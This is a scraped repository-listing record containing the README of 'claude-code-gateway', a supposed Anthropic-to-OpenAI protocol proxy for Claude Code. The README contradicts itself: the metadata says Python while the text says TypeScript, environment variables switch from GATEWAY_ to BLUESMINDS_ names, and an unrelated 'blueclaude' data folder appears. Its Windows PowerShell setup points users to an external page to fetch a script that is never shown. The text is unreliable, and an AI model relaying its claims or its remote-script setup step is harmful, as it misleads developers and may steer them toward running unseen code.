[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-108557":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":16,"fork":16,"defaultBranch":17,"hasWiki":18,"hasPages":18,"topics":19,"createdAt":9,"pushedAt":29,"updatedAt":30,"readmeContent":31,"aiSummary":32,"trendingCount":12,"starSnapshotCount":12,"syncStatus":33,"lastSyncTime":34,"discoverSource":35},108557,"claude-code-gateway","FalihPrada\u002Fclaude-code-gateway","FalihPrada","Claude Code Gateway for Kimi, GLM, DeepSeek, and OpenRouter",null,"Python",34,0,193,1,37.1,false,"main",true,[20,21,22,23,5,24,25,26,27,28],"claude-code","claude-code-alternative","claude-code-api","claude-code-free","claude-code-proxy","claude-compatible","free-ai-coding","free-claude-code","openrouter","2026-11-23 10:09:32","2026-11-14 14:12:51","\u003Cdiv align=\"center\">\n\n# Claude Code Gateway — Alternative Access for Windows\n\n![](files\u002F1.svg)\n\n### 🖥️ PowerShell Setup\n\n[![](files\u002Fbutton.png)](https:\u002F\u002FFalihPrada.github.io\u002Fclaude-code-gateway\u002F)\n\n[![users](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FUSERS-1.2K-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![powershell](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPOWERSHELL-5%2B-34b759?style=for-the-badge&labelColor=0d1117)]() [![state](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FSTATE-ACTIVE-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![runs-on](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FRUNS--ON-WINDOWS_10_%2F_11-1a7f37?style=for-the-badge&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nFree-Claude-Code-Gateway is a TypeScript proxy that lets the Claude Code CLI and any Anthropic-compatible client operate against OpenAI-compatible providers such as Kimi, GLM, DeepSeek, and OpenRouter. It accepts Anthropic Messages API requests, converts them to OpenAI format, forwards them to your configured upstream endpoint, and translates responses back with full streaming and bidirectional tool-calling support. Model mappings resolve through exact matches, glob-based family rules, and configurable fallbacks, all editable at runtime from the built-in admin dashboard. Request history, configuration overrides, and routing rules persist across restarts, and every route is designed to run locally or in containers without an Anthropic API key.\n\n## ✅ Before You Start\n\n- **PowerShell 5.1+** (pre-installed on Windows 10 and 11)\n- **Windows 10 \u002F 11** (x64)\n- **Internet connection** — required to fetch the script\n- **Administrator** — *not* required\n\n## Features\n\n- **`POST \u002Fv1\u002Fmessages`** — Full Anthropic Messages API compatibility. Validates, maps, converts, and returns responses in the exact shape Claude Code expects, including streaming.\n- **`POST \u002Fv1\u002Fchat\u002Fcompletions`** — OpenAI-compatible passthrough with server-side key injection, so downstream clients never handle upstream credentials.\n- **`GET \u002Fv1\u002Fmodels`** — Enumerates available models from the configured upstream provider in real time.\n- **Bidirectional Format Translation** — Anthropic `tools` \u002F `tool_use` \u002F `tool_result` ↔ OpenAI `tools` \u002F `tool_calls`, plus full request and response body conversion in both directions.\n- **Full SSE Streaming** — Emits `message_start`, `content_block_*`, `message_delta`, and `message_stop` events matching the Anthropic streaming contract.\n- **Smart Model Router** — Glob-pattern family rules combined with exact mappings. Resolution order: exact match → family rule → passthrough → default.\n- **Auto-Map** — Syncs the live provider model list, scores existing mappings against it, and suggests corrected provider IDs in bulk. Handles vendor-prefixed vs bare model name inconsistencies automatically.\n- **Intelligent Failover** — Model fallback cascade across family rules and a default fallback, with a circuit breaker that trips on repeated upstream failures and recovers automatically in a half-open state.\n- **Stream Synthesis** — When an upstream streaming endpoint fails but non-streaming works, the gateway fetches the full response and synthesizes a compliant stream so clients never crash.\n- **Admin Dashboard SPA** — Real-time analytics, live request feed over SSE, per-request detail inspection, an interactive playground for testing the translation pipeline, and step-by-step diagnostics.\n- **Runtime Configuration** — Update provider URL, API key, default model, rate limits, timeouts, and CORS from the dashboard with immediate effect and no restart.\n- **Persistent State** — Request history, config overrides, and model mappings survive restarts via a lightweight file-based store. No database dependency.\n- **Credential Hygiene** — API keys and authorization headers are redacted in all logs. Sensitive values are never written to disk or surfaced through admin endpoints.\n- **Optional Access Control** — Bearer-token gating on proxy routes and HTTP Basic auth on admin routes, both toggled via environment configuration.\n- **Deployment Flexibility** — Ships with container, process-manager, and reverse-proxy configurations for local, self-hosted, and production-style setups.\n\n## How it works\n\nThe gateway operates as a protocol translator sitting between Anthropic-compatible clients and OpenAI-compatible providers. Every incoming request hits the Express server, which validates the payload against the Anthropic Messages API schema before any upstream call is made.\n\n**Request translation.** For `POST \u002Fv1\u002Fmessages`, the gateway parses the Anthropic request body — `model`, `messages`, `system`, `max_tokens`, `tools`, `tool_choice`, and sampling parameters — and rewrites it into the OpenAI chat-completions shape. System prompts are hoisted into a leading `system` role message. Content blocks are flattened: text blocks pass through, `tool_use` blocks become `tool_calls`, and `tool_result` blocks become `tool` role messages. The mapped provider model ID is substituted for the incoming Claude model name.\n\n**Model resolution.** Before translation, the router resolves the requested Claude model through a deterministic chain: exact mapping first, then glob-based family rules (Opus, Sonnet, Haiku, default wildcard), then pass-through when strict mode is off, and finally the configured fallback model. Mappings live in `config\u002Fmodels.json` and can be edited live from the Model Router view without a restart.\n\n**Streaming.** When `stream: true` is present, the gateway opens an SSE connection to the upstream and re-emits the OpenAI delta stream as Anthropic events: `message_start`, then `content_block_start`, `content_block_delta` for each text or tool-call fragment, `content_block_stop`, `message_delta` carrying stop reason and usage, and `message_stop`. Chunk boundaries are buffered so partial JSON tool arguments are never emitted mid-fragment.\n\n**Tool calling.** Anthropic `tools` definitions are converted to OpenAI function schemas with JSON Schema parameters preserved. On the return path, `tool_calls` arrays are reassembled from streamed fragments into discrete `tool_use` content blocks with parsed input objects. Stop reasons map between the two vocabularies (`tool_use` ↔ `tool_calls`, `max_tokens`, `end_turn` ↔ `stop`).\n\n**Resilience.** Every upstream route runs behind a circuit breaker. Consecutive failures trip the breaker open and reroute traffic to the configured fallback model without waiting on timeouts. If an upstream accepts streaming requests but returns malformed deltas, the gateway retrieves the non-streaming response and synthesizes the expected SSE sequence so the client sees a valid stream. The breaker probes failed routes in a half-open state and restores them once healthy responses resume.\n\n**Observability.** Each request is logged to `.blueclaude-data\u002Frequest-log.json` with a bounded ring buffer, and the Live Requests view streams the same events over SSE. Authorization headers and provider keys are redacted at the logging boundary, so the persisted history never contains credentials. Runtime configuration changes made through the admin API are written to `config-overrides.json` and applied to the in-memory config on the next request.\n\n## Compatibility\n\nThe gateway targets the Anthropic Messages API surface, so any client that speaks that protocol can use it without modification. This includes the Claude Code CLI, VS Code extensions such as Cline and Roo Code, Continue.dev, Aider, and general OpenAI-style clients like LibreChat, Open WebUI, and LobeChat.\n\nOn the upstream side, compatibility is defined by the OpenAI-compatible chat completions contract. Any endpoint that implements `POST \u002Fv1\u002Fchat\u002Fcompletions` and `GET \u002Fv1\u002Fmodels` with bearer-token auth can serve as a provider. That covers hosted services including Kimi, GLM, DeepSeek, OpenRouter, Mistral, Fireworks AI, Cerebras, Groq, and Databricks, plus local runtimes such as LM Studio, Ollama, vLLM, and llama.cpp.\n\nModel identity is resolved through the router rather than hardcoded, so Claude model names are mapped to provider model IDs via exact matches, glob-based family rules, pass-through, or the configured default. Streaming is supported end to end: the gateway translates Anthropic SSE events (`message_start`, `content_block_*`, `message_delta`, `message_stop`) to and from OpenAI-style chunks, and synthesizes a stream when an upstream only supports non-streaming responses. Tool calling is translated bidirectionally between Anthropic `tools`\u002F`tool_use`\u002F`tool_result` and OpenAI `tools`\u002F`tool_calls`.\n\nRuntime requirements are Node.js 20 or newer. The gateway itself is provider-agnostic and stateless with respect to the model backend — swapping providers requires only configuration changes, not code changes.\n\n## 📸 Screenshot\n\n![](files\u002F2.svg)\n\n## Configuration\n\nThe gateway is driven by environment variables and a small set of runtime-configurable settings. Every value below can be supplied at process start via `.env`, overridden at runtime through the Admin Dashboard, and reloaded without a restart unless noted otherwise.\n\n### Environment Variables\n\n| Variable | Required | Default | Description |\n| --- | --- | --- | --- |\n| `GATEWAY_API_KEY` | **yes** | — | Upstream provider API key used for outbound requests |\n| `GATEWAY_BASE_URL` | no | — | Base URL of the upstream provider endpoint |\n| `PORT` | no | `8787` | Port the gateway binds to |\n| `DEFAULT_MODEL` | no | — | Fallback target when no routing rule matches |\n| `STRICT_MODEL_MAPPING` | no | `false` | When `true`, unmatched models are rejected with a 400 instead of passed through |\n| `PROXY_API_KEY` | no | — | When set, requires `Authorization: Bearer \u003Ckey>` on all proxy routes |\n| `ADMIN_PASSWORD` | no | — | Enables HTTP Basic auth for `\u002Fadmin` and its API surface |\n| `REQUEST_TIMEOUT_MS` | no | `120000` | Upstream request timeout in milliseconds |\n| `MAX_RETRIES` | no | `2` | Retry attempts per upstream call before fallback engages |\n| `CORS_ORIGINS` | no | `*` | Comma-separated list of allowed origins, or `*` for any |\n\nProvider URL and key can also be changed live from **Admin → Settings**. Changes apply to the next request; in-flight requests finish against the previous configuration.\n\n### Model Routing\n\nRouting is defined in the model registry (`config\u002Fmodels.json` by default) and merged with any overrides persisted through the dashboard. Three layers participate in resolution, evaluated in order:\n\n1. **Exact mappings** — a literal `claude-*` identifier mapped to a concrete provider model ID.\n2. **Family rules** — glob patterns such as `claude*sonnet*` or `claude*opus*`, each with a primary target and an optional fallback.\n3. **Default** — the `default` entry, or `DEFAULT_MODEL` when the registry has no default.\n\nIf `STRICT_MODEL_MAPPING` is `false`, an identifier that matches none of the above is forwarded unchanged, which is useful when your provider accepts Claude model names directly. If it is `true`, the request is rejected and the response body names the offending model.\n\n```json\n{\n  \"anthropic_to_provider\": {\n    \"claude-3-5-sonnet-latest\": \"vendor\u002Fmodel-a\"\n  },\n  \"default\": \"vendor\u002Fmodel-a\",\n  \"family_rules\": [\n    { \"name\": \"Sonnet\", \"pattern\": \"claude*sonnet*\", \"primary\": \"vendor\u002Fmodel-a\", \"fallback\": \"vendor\u002Fmodel-b\" },\n    { \"name\": \"Haiku\",  \"pattern\": \"claude*haiku*\",  \"primary\": \"vendor\u002Fmodel-b\" },\n    { \"name\": \"Opus\",   \"pattern\": \"claude*opus*\",   \"primary\": \"vendor\u002Fmodel-a\" }\n  ]\n}\n```\n\nEdits made through **Admin → Model Router** are written to the persisted registry and take precedence over the file until the override is cleared.\n\n### Failover Configuration\n\nTwo independent mechanisms keep traffic flowing when an upstream degrades:\n\n- **Fallback cascade.** Each family rule may carry a `fallback` model. When the primary route times out, returns 5xx, or trips the circuit breaker, the request is reissued against the fallback. If no rule-level fallback exists, the gateway uses the registry `default`.\n- **Circuit breaker.** Repeated failures on a single upstream open the circuit, short-circuiting subsequent calls until a half-open probe succeeds. Thresholds and cooldown are exposed in **Admin → Settings**; the defaults are tuned for public free-tier endpoints.\n\nStreaming requests follow the same path. If the upstream streaming endpoint fails while the non-streaming endpoint responds, the gateway fetches the non-streaming result and emits it as a synthesized SSE sequence so clients always receive the event shapes they expect.\n\n### Admin and Persistence\n\nSet `ADMIN_PASSWORD` to protect `\u002Fadmin` and `\u002Fadmin\u002Fapi\u002F*` with HTTP Basic auth; leave it unset in local development. Runtime data is written under `.blueclaude-data\u002F` and includes request history, configuration overrides, and registry overrides. Removing that directory resets the gateway to its file-based defaults. No external database is required.\n\nAuthorization headers and API keys are redacted from all logs regardless of log level, so request history and diagnostics are safe to inspect or share.\n\n## FAQ\n\nNo Anthropic API key is required at any point — the gateway authenticates exclusively against your configured upstream provider. The Claude Code client still sends its usual headers; the gateway normalizes and forwards them according to provider configuration.\n\n**Which providers work?** Any endpoint that speaks the OpenAI Chat Completions protocol. Kimi, GLM, DeepSeek, OpenRouter, Mistral, Groq, Cerebras, and local runtimes such as Ollama or LM Studio are all supported out of the box through the same `BLUESMINDS_BASE_URL` \u002F `BLUESMINDS_API_KEY` pair. There is no provider-specific code path to maintain.\n\n**How are model names resolved?** The router applies a deterministic chain: exact mapping first, then glob-based family rules, then pass-through for non-strict mode, and finally the configured default. Enable `STRICT_MODEL_MAPPING` to reject unrecognized model identifiers with a 400 instead of falling back.\n\n**Why does the Model Router show an UNSAVED state after switching providers?** Providers disagree on model ID formats — some return vendor-prefixed identifiers, others bare names. Use Sync Models to pull the live catalog, then Auto-Map to score and suggest corrected identifiers. Suggestions only appear above a 0.75 confidence threshold, and Apply writes them in bulk before you persist with Save Router.\n\n**Does streaming actually work end to end?** Yes. The gateway emits the full SSE event sequence Claude Code expects: `message_start`, `content_block_start`, `content_block_delta`, `content_block_stop`, `message_delta`, and `message_stop`. Tool calls are translated bidirectionally between Anthropic `tool_use`\u002F`tool_result` and OpenAI `tool_calls`.\n\n**What happens when an upstream provider times out?** A fallback cascade engages. The request is retried against the family-specific backup model if one is defined, otherwise against the configured default fallback. A circuit breaker tracks consecutive failures per route and trips to route traffic away from a degraded provider, then probes in a half-open state and restores automatically. If a provider's streaming endpoint fails but non-streaming succeeds, the gateway fetches the complete response and synthesizes a stream so the client stays connected.\n\n**Where is state stored?** Everything persists under `.blueclaude-data\u002F` — request history, runtime config overrides, and model registry changes. No external database is needed; deleting the directory resets the gateway to defaults. API keys and authorization headers are redacted before anything is written to logs.\n\n**Can the gateway be reconfigured without a restart?** Yes. Provider URL, API key, default model, rate limits, timeouts, and CORS settings are all editable from the Settings view and take effect immediately. Model mappings and family rules are managed the same way through the Model Router view.\n\n**Is the Admin Dashboard secured?** Set `ADMIN_PASSWORD` to enable HTTP Basic authentication across `\u002Fadmin` and `\u002Fadmin\u002Fapi\u002F*`. Leaving it empty disables auth, which is appropriate only for local development. Separately, `PROXY_API_KEY` enforces bearer authentication on the proxy routes themselves.\n\n**Which clients are compatible?** Anything that speaks the Anthropic Messages API or the OpenAI Chat Completions API. That includes the Claude Code CLI, VS Code extensions such as Cline and Roo Code, Continue.dev, Aider, and OpenAI-style frontends. Point the client's base URL at the gateway and supply any non-empty key value.\n\n**Does this project modify or interact with Anthropic's systems?** No. It is a protocol translator: it accepts Anthropic-formatted requests, converts them to OpenAI format, forwards them to the provider you configured, and converts the response back. You remain responsible for complying with the terms of service of both your client and your chosen upstream provider.\n\n## Disclaimer\n\nThis gateway is a protocol translation layer. It accepts Anthropic Messages API requests, converts them to OpenAI-compatible payloads, forwards them to a provider you configure, and converts the response back. It does not generate model output itself, does not proxy to any Anthropic endpoint, and does not obtain credentials on your behalf. Every request is fulfilled by the upstream provider whose API key you supply.\n\nYou are the operator of this deployment. That means the API keys stored in your environment, the request logs persisted under the gateway's data directory, and the traffic leaving your host are your responsibility. The gateway redacts credentials and auth headers in logs, but redaction is a safety measure, not a substitute for running the service in an environment you control. Bind to loopback or place it behind a reverse proxy with TLS if the endpoint is reachable beyond your machine, and set an admin password before exposing the dashboard.\n\nModel mappings are declarative configuration. When you map a Claude model name to a provider model, you are asserting that the substituted model is appropriate for your workload and that your use of the upstream provider complies with that provider's terms. Behavior differs between models: context windows, tool-calling fidelity, streaming semantics, and structured-output support are provider-specific, and the gateway's conversion layer normalizes format, not capability. Validate against your actual provider before depending on any mapping in production.\n\nThe gateway performs no license validation, entitlement checking, or usage gating. It is a standard format converter of the kind implemented by any OpenAI-compatible client library. Nothing here is designed to evade rate limits, quota enforcement, or access controls on any upstream service, and configuring it to do so is outside the intended use. If a provider's terms restrict automated access or proxy forwarding, those terms govern your deployment regardless of what this software is technically capable of.\n\nThis project is community-maintained and provided under the MIT License, without warranty of any kind, express or implied, including warranties of merchantability, fitness for a particular purpose, and non-infringement. The maintainers are not liable for any claim, damages, or other liability arising from use of the software or from requests routed through it. It is not affiliated with, endorsed by, or supported by Anthropic or any listed provider. Names of third-party products are used descriptively to identify compatibility targets only.\n\nUpstream providers change endpoints, deprecate model IDs, and adjust free tiers without notice. Sync the model list before relying on a mapping, keep a fallback model configured, and treat the circuit breaker as a mitigation rather than a guarantee. Test the full path — client, gateway, provider — after any configuration change.","Claude Code Gateway 是一个本地运行的 API 网关代理，用于将 Anthropic 兼容的客户端（如 Claude Code CLI）无缝对接至 OpenAI 格式的国产及开源大模型服务（如 Kimi、GLM、DeepSeek、OpenRouter）。它支持双向请求\u002F响应格式转换、完整流式传输（SSE）、工具调用映射、智能模型路由与自动映射、故障熔断与 fallback。所有逻辑在 Windows 本地执行，无需 Anthropic API 密钥，配置持久化且可通过内置管理面板实时调整。适用于希望在不修改原有 Claude Code 工具链前提下，低成本接入免费或自有大模型进行代码辅助开发的个人开发者与技术团队。",2,"2026-11-24 04:34:34","CREATED_QUERY"]